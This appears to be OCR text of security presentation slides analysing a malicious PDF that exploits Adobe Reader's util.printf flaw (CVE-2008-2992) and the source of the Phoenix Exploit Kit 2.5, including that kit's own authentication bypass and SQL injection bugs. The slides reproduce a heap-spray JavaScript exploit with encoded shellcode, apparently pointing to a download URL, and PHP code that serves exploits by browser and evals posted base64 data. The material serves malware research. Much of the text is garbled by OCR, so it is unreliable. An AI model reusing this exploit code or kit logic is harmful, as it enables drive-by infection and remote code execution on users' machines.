0 obj<</Type/Page/Parent 2 0 R /Contents 12 0 R>>endob]
0 obj<</Names[(*?*)6 0 R ]>>endobj
0 obj<</Js 7 0 R/8/JavaScript>>endob]j
0 obj<</Filter[ /FlateDecode /ASCIIHexDecode /ASCII8SDecode ]/Length 3306>>
stream
SR YTISEDETA " THGPKATD) £ s MTEDS , IEDEBIERE ¢ AT -2 ETEORT -T2 1% - PO -rw, VEWSs T ; TN AR
I ;b?6 7135 p0=MEEp® 69 @EB*:POdn/ Y U«y . BEI® >y E 2 xes0i OER* ADBRRP<Es x 1 3069C01@+1 F 5 “EBEIBu« ¢° 8ceu¢HGORE "

. PIDicWIEUvO™wYEE@-hU4U] °/ Aleil* @DOERG7jY™Y " ~0gOuidluit«E@BAUTIVOED fi-E4l»QsEIL,-nzjkliE=§e ¢|
n«JOxE3igo{o|
I <16Aoup wEEERS - *, BESEUAOaTLE SEMREOEIT " ®@YeaddbRp: MY~ , Bk« , M= 6 ENMA v O%9 g EIBR0/ FR ERO% cl

A @ rEEAAS

= 51i0\01, (f# 02t B\E~ ‘¥E+~Y, | =N« BF /0", DEFNAA" " h«&B~6EW6 10" 7psEMT ! za °Os* MADDN " SEEEe 9~ '.E‘-CIH
4 ), ORI AiED=IA«hSEME "Y' 6 +0KEEAYE S EIAND® « 41 ERENUE® 06 1 OMED] YUE EIBRHu b © 2 BIeMA 7~ 40COb
hs' 6BfSoc“é >GEIRE 1 C ARRS i c~*@EDE TN

{é(UZv?Xéqto'—E] [E1[ACKEES T S B AYEHEE
V1 BBz N8 byauué °3bm 4E>°0, ‘<ujziika= EUNG ; [ B8 u#—T VOB
< "U4|P> An@@S vv B 8HaPJwGNE<'5°EI-/}Er[ euquz-oD UE81AvE2 £ EXeS
}£+RS (EEY S DS EEN 2 ]

¥ eommicerowsy = =
endobjxref

o7

poo0oO0OOODODD B5535
ooo0OOOODO10 OOOOD
poo0DO0ODOOG/S OOOOD
goo0oO0O0120 0O0O0O0D
0000000157 00000
0000000216 0OO0OOOD
0000000254 00O00O
0000000295 00000
trailer<</Root 1
startxref

3707 |
$%EOQF

£
n
n
n
n
n
n
n
0

R /8ize 7>>

SECURITY
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* Inflate - > ASCIlIHexDecode

6E313349255D465421574E405573553833485B353F465F2A404F304A490A57273133475438465947556F30444957273051662727465F35362E405069343B4139425
Z60465E6F242B406C38425F316A28512E465947647432453E6E3641545D6E43465952484D0A3229264B574822554D7235712D6B2F34606230654741316CZ2440554F
2267345F264D5243685B73274057242E2140715E2D414071302262443049463A3444414139425056604E33420A3926593326696C573326696C573326696C5733266
96C573326696C573326696C573326696C573326696C57426B42263B462A3063372E3D2425612C7249502B32296C6D3D314634740A372C72645F2D31477045934414¢C
316F212C7266485E322954613B30493853312C72646E324168594E42414C303C472C726D6B2F406C35506D32276A71392C71713226304446652C3304246737392C7
Z66485E32295A613B30493853312C72646E324168594E42414C303C472C726D682F406C35506D32276A71392CT1713226304446652C33246737392C726D682F406E
SDOA3Z5F30493844302C7249532C3244756A3F316150253C2C725B4D2832443F466540336D5E3EZD223853543326295E3D406A4E66672C71713B29304B344065304
93853342C717123210A416E453F23414C3029632D22313A30304A46652C304938442C2C717123213065616E6341674B446D2C7249502B31632D4C3B324331313¢C2C
T2525CZE304B283438325E4C34372C720A373E27324529703F325E4C403C495660713D40576128463429246361426A6B676B42345AZ2D752E72543633434D40612B4
2363E563D42362567283F736B5B28434D52426A3F6F704D0ASA3F75395E6B342948753C3326696C573326696C573326696C573326696C573326696C573326696C57
3326696C573326696C573326696D362D745B462E304A4665374369345D45320460355F67314E62422A4659493C4A4050447137324B5E6063465F335555334652256
333Z2D416465465FZA324D40344F46683051676939465950586F3229393B303051663632465947046775304A5B63293051663635465947526E3346522563332D4164
65465F2ZA3A4D40344F46683051676939465950586F3229393B3030516636324659476775304A5B6329305166363504465947526E413754673D30516627274659476
173304A525D29316A286635465F334650314745722D305166275C465950526D322E435C6340576149624659493F4B3147733B32323004454663465F2A3A4D312C2A
695C314E642E65465A32277541322F335C3051662D294659474C6C304A44957593133493240465949424C3229393B614073275F41465429372632446F560A32314E6
Z25A32465F35362ZE312C336F60316A28545F465245745D4466425732444C515F41483F336247452B4E606D444B27354F4071266E22444B3935724050445F42403A5F
Z2641340A3E3AZF4E3F75305B47416D643E443E416D71753F6FSE352C3326696C573326696C573326696C573326696C573326696C573326696C573326696C5733266
96C573326694F3E4955480A534D3624373F68414C30326B2CT7171232132443F46323324692C692CT72645F2D304446652C30493853362C717123214169562ZE73406A
4E673D2CT1713B29314767433B414C3033470AZD2254255E322E652D6732433125322C725B4D284132595F66304938442C2CT717123214169562ZE73406A4E673D2C7
1713B29314767433B414C3033472D2254255E322E652D6732430A3125322D222F4A524132595F66304938442C2C7249502B304446652C30493856392C72404D2B32
4529703E325E4C40402C725B5F2E4168745F6D41674B2C622ZD222F4A52326045240A3A304938445D2D2231342E322E37646240336D6C662ZD2Z24A6B5A32294855353
3246752432C722529223326295E35304938442C2CT72646B31414D6B6Z266406A505C722CT722ZE3B27310A633F583B3243313A3F2CT725BSFZE312C674C3C3146346834
Z2CT72ZE4129324451523B3146352B6D3F742174622CT71726E41452B4E5469444A582D25456169456C43685B7327403B420A5C232F3757403D3F753034592E3654313
344645B5528304A6B3A6F407251545333423926593326696C573326696C573326696C573326696C573326696C573326696C573326696C570A3326696C57332CH72F
703460452924304F5C43324659596A74304A449572B314E64323A465E64405240504470593051662728465F35332D304A49575D323043572F465950586F304A04495
T29324B5F236746595B514F4035326D594170236539465950526D3326355631403C463A594659474C6C304A449575D323043572F465950586F3044495729324B5F23
6746595B51044F4035326D594170236539465950526D324454442F403C463A594659474C6C4051384B613051662727465F21314B40714B6A3C313347392B4659747
374332650683B3051664239460A5947556F4132413F5E332D3F75314659493F4B40557355384057614136465A21574E325F664764314E624B32465A292E2341686E

_=
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« ASCIlIHexDecode -> ASCII85Decode

GSHDEABURLAPSTYBPDNLGSH#DEBQ [A&CN ; Q*DIk+J0ORAG<AMAT : 3- AbBF Z<1RATE [<A9BhEF_
53-2DE>f13G9) FYGL10JIW, INbN4FZ) (12) 9; /0Qf- ) FYPRMES52mb@<F>6F  ["Taid4]cl13G9

) 0

10 YJFYGL10JIW,AT]gfF2) (12) 9;/0Qf-) FYPRm@S5Znb@<F>6F" [ "IA147CAT] [V\FYGL1Z ) RG43
11 -A"kFYGas0f4#33H\AkF2!1 ] PAREJ<0QE-) F md4MAT7 £5nl13I%] FZIWN@UsUB3H[52F_*@0O0JI
12 W'13GTE8FYGUolJIW 0QE" "F_56. @P14 ;A9BR F"0$+@18B_17 (Q.FYGAdtZE>n6AT] nCFYRHM
13 ZY&KWH"UMrSo-k/4 blecallSEU0"g4 &MRCh[s"@WS. ! @q*-A@q0 "bDOIF: 4DAASBPV N3B
14 9&Y3&IIWIEIIWI&LIWI&LIWI&ILIWI&11IW3I&11W3&11WEBKEB& ;F*0c7.=5%a, rIP+2) lnn=1F4t
5 7,rd_—leI§ALlo!,erAZ)Za;DIBSl,rdn2AhYNBALU<G,rmh/@lSPmZ'jq9,qq2&DJFe,3

6 $g79,rfH"2) Za;0I851, rdnZAhYNBALO<G, rnh/@15Pm2 "Jq9, qq2 &0JFe, 35979, rmh/ @k]
17 2 0I8D0,rI8,2Duj?laP%<, r[M(ZD?Fe@3n™>-"83T3&) =@jNfy, qq; )0K: @e0IBS4, qg#!
18 AnE?#AL0)c-"1:000Fe, 0ISD, , qq#!OeancigRDm, rIP+1c-1;2C11<, rRY.0K{482°L47, r
19 T>TZE)p?2 LE<IV g=@Wa (F4) ScaBjkgkB4Z-u. rT63CMRAa+EB6>V=E6%g ( ? sk [ (CMRE] ? opM
20 Z2u9°k4) Hu<3&11W3&11IWI&LIW3I&1IWI&1IWI&LIWI&L1IWI&11IW3&im6-t [F. 0JFe7C14] E2
21 *5_glNbB*FYI<J@PDq72K" cF_3UU3FR%c3-AdeF_*:M@: OFh0Qgi9FYPX02) 9;00Qf62FYG
A gu0J [¢) 0Qf65FYGRN3FR%c3-AdeF_*:M@: OFh0Qgi9FYPXo2) 9;00Qf6Z2FYGgul T [¢) 0QEES
23 FYGRnATTg=0Qf" "FYGasO0JR]) 1] (£5F_3FP1GEr-0Qf "\FYPRmZ.C\c@WaIbFYI?R1Gs; 220
24 EFcF_*:M1, *i\1Nd.eF22 "uaZ/3\0Qf-) FYGL10JIWY13IZ@FYIELZ) 9; a@s"_ AFZ) 7&2DoV
25 21NbZZF 56.1,30°13(T_FZEt] DfBWZDLQ AH?3bGE+N mDK'S50@q&n"DROS5r@PD_B@: &Ad
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D%u006atud0ff3ul5batuealf%ucZBliullsetul000%uffi2%u5a95%u0001%u8200%uBleatusecZtuli01%us5200%ud068%u0000%uff00%ude25%u0001%3uB200%uble
atudecZiuli01%u3l00%u0lfbtulacZiudifetulZeetuli00%uth80%u7400%uBB06%u32lctuchdbtuctectulZ043uBo00%uBleatudscZiul00Z28u5200%u35££3u015
2%u0000%uea89%uc2813u0250%u0000%uS052%ul5££3u0156%u0000%u006a%ul0batuealf%ucZB8liullsetul000%u8952%ulleatuabe23uliNzZ3usZ00%ul06a%ud0f
$uc2B81%ull5etul000%uffS2%u5a25%u0001%u2d00%us£5d3usasetusihi9%uc358%ul000%u0000%u0000%w0000%w0000%u0000%u0000%u0000%uss4
Fus070%u7461%ud168%udc00tublotiudesdducZ69%ubl 2307972300413 ub5473us0743uef72%udl163%u6464%u6572%u73738u5700%ub6e69%u784

fiulS6atueal
T3us474%u6dé
S%u6365%ubb00%uf289%uf789%uc030%uT5actuZ9fd3udf£78u31£9%ubecl%ul03c3u0000%ub503%u021btul000%uadi6etuds03%u0Z1b3u0000%u708b%ul
6%ub503%u0Z21b%u0000%ubd8d3u0Z1£3u0000%u03ad3ulb85%ul002%uab00%u03ad3ulbE53u000Z2%u5000%uadabiuB8s03%u0Z1biu0000%usSeabiudb3dliu

9
&
0
b

on
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o

oL

o oo
=

oo

on

o

D%uadebtuds03%3ulZ1b3ul000%uebhed$u0010%u0000%u0000%u0000%w0000%w0000%u0000%u0000%u8300%ulb85%u000Z%u5600%ue8573uffs8sufffftuseitiulla
b3uBlcetubbletulZ74%uedebiudiic3tudeiZiud fddiuZedetudcddtulidctusiZistudddctu?Totiubcoetuslofiuidedtudoofiubeadtudlastut000%uec664%u70?
S%uZefd3uTBe5tul065%uT263%uT73613u2e6B8ucB70%u00703u7468%u7074%uZf3a%ul362£8u2e39%u3035%u322e8u3031%uld2etuZ f38%ubfietucaT4suisatiuede
etuA32 f5u617a%u702e3u7068%5uA93 £5u353d5ul000") ;heapblock = nop + payload;bighlock = unescape("$ula0iiulz0s”) ;headersize = 20;spray =
headersize + heapblock.length;while (bighlock.length < spray){bighlock += bighlock;}fillblock
= bigblock.substring(0, bighlock.length - spray);while (block.length + spray < 0x40000){block
new Array();for (i = 0; 1 < 1400; i ++ Y{mem[i] = block + heapblock;}var num =
12999999999999999999358888885688868888886508808888568808680885088880880808886808888886508808B88850888888050888680880808880808808885808808B888050888888080888808888888888
888868886688868566888685656808868885680668856888668808688056880688886888688086888B86880868886688086885656888688805688686880868886868808883808808688365688888808688888888888888
BB8886555865558655586555655565888888 ;util. printf("445000£", num);

bighlock. substring(0, spray);block
block + block + fillblock;}mem =

_=
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« Adobe util.printf (CVE-2008-2992)

undefinednop = unescape("#ulilisy
"$u5350%u5251%u5756%u%¢55%ul0ed

¢tuded0%us756%udebetul001%u0100

1%3uB89%00%uBleatuiecZiul001%u3100%ullfetulacZtuldsifetulZa33ui000%uth80%u7400%uB806%u3Z2lctuchdbtuchectuldzZ04%udo00%ulleatudsczZiuli0Z3uszi
0%u95££%3u0152%u0000%ueabB%ucZBl3u0Z250%u0000%uS052%ul5££3u0156%u0000%u006a%ullbatueadf%ucZB8l3ullsetul000%uB252%uBleatu7Be23u0002%u520
D%u006atud0ff3ul5batuealf%ucZBliullsetul000%uffi2%u5a95%u0001%u8200%uBleatusecZtuli01%us5200%ud068%u0000%uff00%ude25%u0001%3uB200%uble
atudecZiuli01%u3l00%u0lfbtulacZiudifetulZeetuli00%uth80%u7400%uBB06%u32lctuchdbtuctectulZ043uBo00%uBleatudscZiul00Z28u5200%u35££3u015

Z2%u0000%uead%9%uc281%ulZ50%u0000%uS052%ul5££3u01563ul000%u006atul0tatueaB9%ucZ8liullsetul000%u895Z2%ubleatuabcZduli0Z23usZ00%ul06atud0f

ADA%u0A0A%00A04") ;var payload = unescape(

ul
u0000%usSd00%ued83%u3l0d3uedc0tud003%u7830%uBhblctulcdltuT08btuadletud0B8hiueb08%uBhb09%u3440%ud08d%udh?
$uS %

2
2
%

$uczB81l3ull5etul000%uff52%u5a85%ul001%u9d00%usS£5d3usasetuihs9%uc358%u0000%u0000%u0000%u0000%w0000%w0000%u0000%u0000%u6S4
FuS070%u7461%udl68%udc0DtublefiudchdiucZ69%ubl 7287972500413 u65473usS074%u6t72%ud163%u6d64%u6572%uT7373%u5700%u6eb9%u784

fiulS6atueal
T3us474%u6dé
S%u6365%ubb00%uf289%uf789%uc030%uT5actuZ9fd3udf£78u31£9%ubecl%ul03c3u0000%ub503%u021btul000%uadi6etuds03%u0Z1b3u0000%u708b%ul
6%ub503%u0Z21b%u0000%ubd8d3u0Z1£3u0000%u03ad3ulb85%ul002%uab00%u03ad3ulbE53u000Z2%u5000%uadabiuB8s03%u0Z1biu0000%usSeabiudb3dliu
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o

D%uadebtuds03%3ulZ1b3ul000%uebhed$u0010%u0000%u0000%u0000%w0000%w0000%u0000%u0000%u8300%ulb85%u000Z%u5600%ue8573uffs8sufffftuseitiulla
b3uBlcetubbletulZ74%uedebiudiic3tudeiZiud fddiuZedetudcddtulidctusiZistudddctu?Totiubcoetuslofiuidedtudoofiubeadtudlastut000%uec664%u70?
S%uZefd3uTBe5tul065%uT263%uT73613u2e6B8ucB70%u00703u7468%u7074%uZf3a%ul362£8u2e39%u3035%u322e8u3031%uld2etuZ f38%ubfietucaT4suisatiuede
etuA32 f5u617a%u702e3u7068%5uA93 £5u353d5ul000") ;heapblock = nop + payload;bighlock = unescape("$ula0iiulz0s”) ;headersize = 20;spray =
headersize + heapblock.length;while (bighlock.length < spray){bighlock += bighlock;}fillblock
= bigblock.substring(0, bighlock.length - spray);while (block.length + spray < 0x40000){block
new Array();for (i = 0; 1 < 1400; i ++ Y{mem[i] = block + heapblock;faar.ndﬁ-;'
129999999999999999993588588588588585585588588588588088085088088888a80ad M edhaMe008508508508850855855855855885855850850850850858858888
8888888855808588085880855885580888885888068080680888085808568088805838558555855808558085588558085580805808088085580885808558085580855885588588888888

88888588888585880888885888588588888 ;:.xt&pr_int_f(".%fw_ﬂﬂljt;",_nmn.);

bighlock. substring(0, spray);block
block + block + fillblock;}mem =

_=
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* Adobe util.printf (CVE-2008-2992)
o “Stack-based buffer overflow in Adobe

Acrobat and Reader 8.1.2 and earlier allows
remote attackers to execute arbitrary code
via a PDF file that calls the util.printf

JavaScript function with a crafted format

string argument”
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* Shellcode + Heap Spary

ﬁde'ﬂrﬁnop unescapef”"ﬁunhﬁﬁnF%ﬂ'l'?na».um p) i payﬂ.-oad' ls a— L] H EEE § EEE § BN O ESS O F S F O f . —.
o 5u3350%u5251%u5756%udcidtul 3 3u0000%uSd00%ued83%u3l0d3uedc0tud003%u7830% 08b%uadlctud08btueh08%ubb09%u3440%ud08d%udh?
1% 00 .2 %

00ed ctuledliu
qhu?c4ﬂ%uﬁ75fﬁ udebetul001%u0100%ubfeetulldetul000%uef0liudéedsul001tusSt $1
3100

£ugh0

0%u895e%udleat
$u8900%u8leatuliecZtuli0l3u3l00%u0lfb3uBacZudi%4ulZ63%ul000%uthE0%u7400%u88063%u3Zlctuchdbtucbeetud2044uB200%u
D%u95££5u0152%u0000%ueald9%uc2813u0250%u0000%u50523u95 £ £4u01563u0000%u006asul0éatuealFtuc2BltullSesul0005u89525usleasuTBe2 $ul0025us20
h%uﬂﬂéa gud0ffiulSbatueaBI%uc2B81%ull5etul0003uff52%u5a35%ul001%u8300%usleatuSec23ul0013us200%u8068%u0000%uff00%uded53ul001%u8300%usle ™
B iudiecZiul001%u3100%ul0lfe%uBac2tudsf¢ctulzeetul000%uthe Dﬁu"4UU‘1GSDf3u321c~ucb46~uc6cuau3’043HG9DD%uSlea%u4502%uDDDZ%uSZUU%u?Sff%uDlSI
F%HUUUU%ueaB9&u0281QuD750*uDDDD§HSUE&%u95ffﬁuUlS6QuDDDD*uDD6a§u006a%ueaﬂ9ﬁu0281QuDlSe%uDDDU%u8952%u8183%ua602QuDDDZ*uSZDU%uﬂﬁéa%ude.
JLEuls6atueadf%ucZ8liullietull003uff523usa35%u00013uld00%uS £5d3usadetuibi9%uc3i8%ul000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u654
7 3u5474%ub6d653us070%u7461%udleBiude00tucloftudeodsueZa9%u6l728u7972%u0041%u65474u5074% uﬁf72%u4lﬁ?%u6464%u65775u?373ruh7ﬂﬂ3uﬁvﬁ9ﬁu794

9%u6365%ubb00%utZ289%ut789%uc030%u75aetuZ2 9fd3u8 2 £73u31£9%ubec0%u003ctu0000%ub503%ulZ21b3ul000%uad66tu8sS03%u0Z21biul000%u7080%uB37 H;ulcc

-
u70
_______________ uSecztul001%us5200%uB068%ul000 %y Fu000

Wiuadebtuds033u0Z1biul000%uebe33ul010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8300%ulb GﬁzuDDDZtuSGDDrueSS?éuttSDauffff*uSvSfuuDluI
F%u&ﬂce?ub}363u0274ﬁuedeb‘u55c dudeSZtud f4diuZedetudcddtulidctuizistudddctulTotiubcbetuclofiusidodtudoofiuoce?tudlessuii00%ueb6d4iuiid o«
i i ot i i A e | i s’ it i it it s it et i s el
etuf32 £50u617a%uT02e3u70685uA93 £5u353d5ul000") ;heapblock = nop + payload;bighlock = unescape("$ulaliiulz0s”) ;headersize = 20;spray =

headersize + heapblock.length;while (bighlock.length < spray){bighlock += bigblock;}fillblock = highlock.substring(0, spray);block

= bigblock.substring(0, bighlock.length - spray);while (block.length + spray < 0x40000){block = block + block + fillblock;}mem = =

1ew Array() for (1 = U, i < 1400 1 ++ ){mem[l] block T heapblock }var num = l
129999999999999999998888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
88B588886588088B885085B8860880885880808588088885088688508808086588088588088885880885880885880888880888850880885880885880885880888850880885880885880888880888858888888
BB8886555865558655586555655565888888 ;util. printf("445000£", num);
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 Shellcode analxsis
B Hex Yiew-A

seqfo8:0000080D08
seqB00:000006ED
seqB00:000000F 0
seqgB0o: 000006100
segBoo:00006110
segBoo: 000006120
seqgb00: 00006130
seqB00: 000006140
segboo: 00006150
segb00:00006160
segBoo: 00006170
segboo: 000006180
seqb00:00000190
segBo0:000061A0
seqb00:000061BO
segB00:0008061CH
seqBo0:000061D6
seqB00:000061ED
segB00:000001F6
segBoo: 000006200
seqgb00:000006210
seqBo0:00000220
segboo: 00000230
seqb00:00000240
segBo0: 000006250
segb00: 00000260
seqB00:00000270
seqBoo: 00000280
seqb00:000006290
seqB00: 000006200
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(5]5]
(515)
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(5]5]
5A
(5]5]
54
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6
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F7
00
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4E
8A
EB
95
95
00
05
9D
00
50
79
73
co
BS
83
03
AD
02
EB
AD
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72
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1B
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6F
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5]§)
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5 ]§]
L
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5 ]§)
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5]§)
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5]§)
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2E
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S]]
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04
5 ]§)
5 ]§)
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5 ]§)
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89
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6F
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5B
00
ue
50
78
89
AD
02
AB
00
D7
03
1F
00
89
01
2E
54
78
70
2F
70

EA
08
(5]
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 Some debugging with cool colors

CRS8( _|D|5]

File View Debug Plugins ImmLib Options Window Help Jobs _||51|l|
TIE 4x P 1w+ 1 emtwhocpPk©bzr. s ? D

144A <
[EDII,AL : "

{ FFFFFFFF)
( FFFFFFFF)

44A

[Etllll:l AL WINDOW_HANDLE

s, PE, GE, G)
MOy ",
POFP EDI
MOU E
INT

INT
INT

Too long <(rx»ecursive?> SEH chain |Paused SECUR [vT Y
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- WHAT?! CVE-2008-2992

« Cool stuff never get too old...
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* Exploit Kit source code

* The script loads all the exploits into

variables

ré?m-—-—-—-—-—-—-—-—

. §XPIE7="cnyugperftbnira.html™;
$VISTAIE7="jzhvbvgvbzit.html";
§XPIES8="avhsblgsbncp4.html";
$VISTAIES="achsxgigqinbldtf.htnl";
¢IE="kmnjsjwxgcrxobnl.html™;
SWINZIE="agighrinxrhubtid.htnl";
¢XPOTHER="eubzjpkudpet.html™;
$VISTAOTHER="xubgyodwapepfn.html"™;
SWIN70THER="izgpxukoesbhwav.htul" ;/*SEPPARATOR*/

" TedquiTe bnTe (" "FHkSyouSCETDhp Y e == = = =
require once( “cogaoxtjwbuyn.php” )

e e R ——-

require once| “epklbtovhmencpes.php™ j;
§ip = §_SERVER[ 'REMOTE_ADDR'];
¢r = mysql_cquery( "SELECT 1 FROM stats WHERE ip=INET ATON('{%ip}') AND time>UNIX TIMESTAMP()-{$BANTIME}" ):

if (0 < mysql_num rows(§r)) {

//header("Location: "."http://www google.com") ‘
exit(): ‘

g
<

il
Ul

lelse ! ECU
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* The script uses the browser User-Agent to

load the appropriate exploit

switch (sbrowtype) |
case "MSIE" :
if ((§MSIEversion == 7.0) and ((§osver=="lindows XP") or (§osver=="Tindows XP SP2") o
readfile( $XPIE7 ):

}

if (($MSIEversion == 7.0) and ($osver=="Windows Vista™)) {
readfile| §$VISTAIE?7 )

}

if [(§MS5IEversion == 5.0) and ((§osver=="lindows XP") or ($osver=="lindows XP 5P2") o
readfilei $XPIES ):;

}

if (($MSIEversion == 5.0) and (fosver=="Windows Vista™)) {
readfile( §VISTAIES )

}

if ((($M5IEversion != ©.0) and (§M5IEversion != 7.0))) {
readfile( $IE ):

}

if ($osver=="Windows 7") {
readfile( §WIN7IE ):

¥

break:;

default :

if ((fosver=="Windows XP") or (§osver=="Tindow

readfile( $XPOTHER )

XP 5P2") or ($osver=="Windows 2003"))

}
if ($osver=="Windows Vista"™) {
readfile({ §VISTAOTHER ):

SECURI

=

TY
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« After the user installs the exploit kit, he

required to activate it

Creating table in database... DONE
Unpacking files... DONE

Please read and save information below:

Data to access statistics: http://127.0.0.1/phoenix2_5.1/iokrflemhzlkzxtdu php 1234
Link for traffics: http://127.0.0.1/phoenix2 5. 1/dviuxpijr php

Name of config's file: jsbuxwbl.php

Name of _exe file: esgseqeqk8.exe

To activate this installed copv of Phoenix Exploits Kit please send following activation string to author:

MakeBuild('http://127.0.0.1/phoenix2 .5 1/ytjghliodgiwiva php', YOUR SAMBA','vtjghliodgiwiva.php'.'dviuxpjr php'.'ap php'. tokrflemhzflkzxtdu php', 'bzxfpxnfsjucz’.'tc');

SECURITY
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 The author of the exploit kit generates

activation key for each customer

[l <2php

require once | “duinbpxugw.php” )}
$PIN=SHAL(§_POST[ rord']) ;

if ($PIN==¢ACTIVATION_ PASSWORD)
=i {

2406ig0ey ey caseate GacETE a BiNd
function WriteFile(§path,$data)
= {

§file = gpath;

$fh = fopen($file, "u") or die("File ($file) does not exist!™):;
furite(§fth, $data);

fclosei§th);

278fige Gdshey php <5 figdadi G618aep scandir
scandir™))

if (!function_exists("s

= {
E function scandir($dir)
= {
$dh = opendir(§dir):
while (false !== (§filename = readdir(gdh)))

= {
E if ((§filename '= '.') && (§filename != '..'})
= {
§files[] = $filename;
r }
r i
closediri§dh);
sorti§files):
return §files;
r }
r i

=
§files=scandir(”."”):

for (§i=1; $i <= sizeof(§files); §i++ ) SECURITY

= !
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* Once the clients activate the exploit kit, the

author takes care to load the exploits to the

server and keep updating it
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 Unlike the new version, the older version

contains a fixed Activation Key which can

[l <zphp
$PIN=SHAL($_POST[ 'password']);
if (§PIN=="5deffeb82h49426732ee3£59034319d5034c£194")

be easily discovered | ' zoeoeinm .

$XPIE7= base64 decode (s PDST[ '3 plr-"."' 112
$VISTAIE7=base64 decode(§_POST[ '
$XPIES=base64_decode (§_POST[ 'xp
§XPOTHER=base64_decode (§_POST[ 'xpo
$VISTAIES=base64_decode(§_POST['vistaied
$VISTAOTHER=base64 decode(§_ PDST[ 'vistaother']):;
WELTEr1le | TLp/LLlash. 3WL",5FLADH) ; $WIN7IE=base64_decode(§_POST[ 'win7ie']);

i i "tup /hep. ran” . $WIN70THER=base64 decode($_POST['win7other']);
WriteFile("tup/hcp. ran™,$RAM) ; $HCP=base6d_decode(§_POST[ 'hep']):

=

WriteFile("tup/play.ran”,$PLAYRAM) ; $LVBS=base6d_decode(§_POST['lvb
elital tRET Lo (amtife/ T . ik, SOMIL) 2 e n mm s §MVBS=base64_decode ($_POST[ 'w
e . §UASX=base64 decode(§_POST[ 'uas :
| eval (base6d_decode(§_POST['data'])); " $PDFOPEN=base64_decode (§_POST[ 'pdfopen’]);
echo "ic T‘l““:xf'llln was completed succesfully!™; | $3GIF=base64_decode(§_POST['sgif']);
}' e sEm s $PDFSUF=base64_decode (§_POST[ 'pdfsut']);
§COLLAB=base6d4_decode(§_POST['collab']);
else $PRINTF-base64 decode (§_POST[ 'printf']);
{ $GETICON=baset4 decode(§_POST[ 'geticon']):

§ALL=base64_decode(§_POST['all'])’
§ALLV7=baset4 decode(§_POST['allvw?']);

} $NEWPLAYER=base64 decode(§_POST[ 'newplayer']);
$LIBTIFF=baset4 decode(§_POST['libtiff']);
§JAVA=base64 decode(§_POST['java'l]):
§FLASH=base64_decode(§_POST['flash']);
$RAM=base64_decode (§_POST[ 'ran'])’

$PLAYRAM=base64 decode(§_POST[ 'playram']); ¢
§5MIL=base64 decode(§_POST['suil']):; e |
R

echo "Activation P:

word Is Invalid. Actiwvation Rejected!™;

2>

1]

function WriteFile(gpath,§data)

g
<

o : ECU




o —————
Phoenix

* Like most of the Exploit kits Phoenix
Exploit Kit 2.5 contains several

vulnerabilities such as:
* Authentication Bypass
« SQL Injection
 Remote Code Injection (RCE)

SECURITY




Phoenix - Authentication Bypass
* Authentication Bypass

* In order to login to administration panel,

the user require to insert password

 But, The variable SADMINLN was never
initialized, therefore using a fake SHA1
password equivalent to the inserted key

would bypass this authentication

¥

SECURIT




Phoenix - Authentication Bypass (cont.)

@¢act = @strtolower| @§_GET['go'] ):
I

£ (( 'isset( §_SESSION['pw'] ) || §_SESSION['pw'] !'= $ADMINFW ) lisset | §_SESSION['login'] ) || §_SESSION['login'] !'= §ADMINLN ))

{
T_{l_l_l_l_l_l_l_l_l_I_I_I_I_I_I_I_I_I_I_IJ

unset | §_SESSION[ 'pv'] ):
e " Wmsef TosEhsfTR( Mot f )T T T T T T T T TR
if (( lisset{ $_POST['pw'] ) ) and { !isset( §_POST['login'] ) }) =

"o n mm ow (S Tk £ i | W ok 5 | ] id-{f-:nnht’:mlly: Tahoma; font-size: 13px; color: #DEDEDE}body {background-color: #000000;
ground-image: url(img/loginlogo.gif); background-attachment: fixed; background-position: right bottom; background-repeat: no-repeat}table.wnd {border: lpx solid

000; background: #000000}table.wnd tr.hdr {background: 0000; font-weight: bolder}table.wndZ {border: lpx solid #101010; background:
{background: #101010; font-weight: bolder}a {color: #SEB9CE}a:hover {color: #ESBBA7}tr.dark {background: #1lD1DlD}a.red {color: #820000}<

border=0><tr align=top width=100% height

(table width=100% height=1I(
d align=center><table border=0 width='100%"' height="10(
align='center' wvalign='botton'><form method='POST' id='loginform':>

Exploit's Kit - Log Inc /head><body bgcolor=black
src=jnglalxrizdsdtxnfz. jpy align=botto

echo "<tr height="'100%
tr class='hdr'> ease enter your pa

;' align=bott

'tmd' cellpadding=3

ord</t /tr d align='right'>

'window.clos

cellspacing=1:
type='password' name='pu'
href='#' onclick='jav

href='#' onclick

td><td align='right'><a
able></td></te>";

trx</table>< /forme< /ed>< /L

else __

4

. §pw = shal{ §_POST['pw'] ): -
§login=shal (§ POST['login']): |

I §_SESSION['pw'] = §pw; .
= §_SESSION['login'] = $login;
I redir( "2 ) I
e —

exiti():

switch | §act )

_=

SECURITY




Phoenix - SQL Injection

* The variable $ GET[n] missing input

validation that can cause an SQL Injection

—/‘l*“gsgrp'rl—l—l—l—l—l

I if (isset( §_GET['n'] )} I
L ! { ]
| $seller=¢_GET['n']:

Bsact = @strtolower( B§_GET['go'] ):
switch | gact )

ll_l_{l_l_l_l_l_l‘

Z/MAIN STATISTICS

case """ :
td {font-family: Tahoma; font-size:

background-image: url(ing/loginlogo.gif); E ent: fi
000; background: 0
{background: #101010; font
Exploit's Kit - Simple 5
align="'1ef

d; background-position: right t
ont-weight: bolder}table.wndz {
a {color: #S9EB9CE}a:hover {color: #ESBBA7}tr.dark {bac

cbody bgcolor='black'><table width='100
indnfubgywil. jpg' align='bottom'></

uuuz

xe

£
weight: bolder) i
(/title

height="'100%
tr><tr align='top'><td align=

img src="'Jjgbg]

valign="'top

><tr align="'top'>

echo "<
> Ly tdse C
gstarr = getstatsofseller( "browtype”,éseller );

d align='center' wvalign='top'>
'tmd' cellpadding=

¢i = 0;
for ([ ; i < count( §starr[0] ). §i++ )
{

echo "<tr”.( §i % 2 ==0 2 "

s='dark'"™ : """ )."=<td>{§starr[

{§starr[3][§1]}< —
r - —_— L] q - —_— - — L] — - —_— - — L] — - —_— - — L] — - —_— - — - Sr—— |:
- ¢r = mysql_query( "SELECT COUNT(*) FROM stats WHERE source='{4$seller}'" )’ ’
L frow = mysql_fetch row( §r ); I SECURITY




Phoenix - SQL Injection (cont.)

 The same vulnerability can be found in the

main infection page

| if(isset (§_GET['n'])) |
{
I ¢source = § GET['n']: |
— - _} lllllllllll —
else
{
¢source = "DEFAULT";
}
if (isset (§_SERVER[ 'HTTP_REFERER']))
{
¢refurl = §_ SERVER[ 'HTTP_REFERER']:
gurl = parse_url{ $refurl ):;
